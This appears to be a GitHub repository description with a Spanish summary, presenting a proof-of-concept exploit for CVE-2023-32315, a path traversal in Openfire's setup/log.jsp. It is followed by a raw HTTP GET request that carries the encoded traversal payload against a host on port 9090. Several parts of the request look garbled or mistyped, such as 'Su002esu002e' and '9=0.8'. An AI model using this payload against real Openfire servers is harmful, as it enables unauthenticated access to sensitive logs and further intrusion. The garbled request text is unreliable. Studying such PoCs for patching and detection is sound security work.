ohnonoyesyes/cve-2023-32315Prueba de concepto de exploit para CVE-2023-32315, una vulnerabilidad de path traversal en setup/log.jsp de Openfire, que permite acceso no autenticado a logs sensibles.
GET /setup/setup-s/%002e%002e/Su002esu002e/log.jsp HTTP/1.1
Host: 192.168.40.132:9090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept:
text/html,application/xhtml+ml,application/xml;q=0.9,image/avif,image/webp,image/apng ,*/*;9=0.8, application/signed-exchange;v=b3;9=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en; q=0.9
Connection: close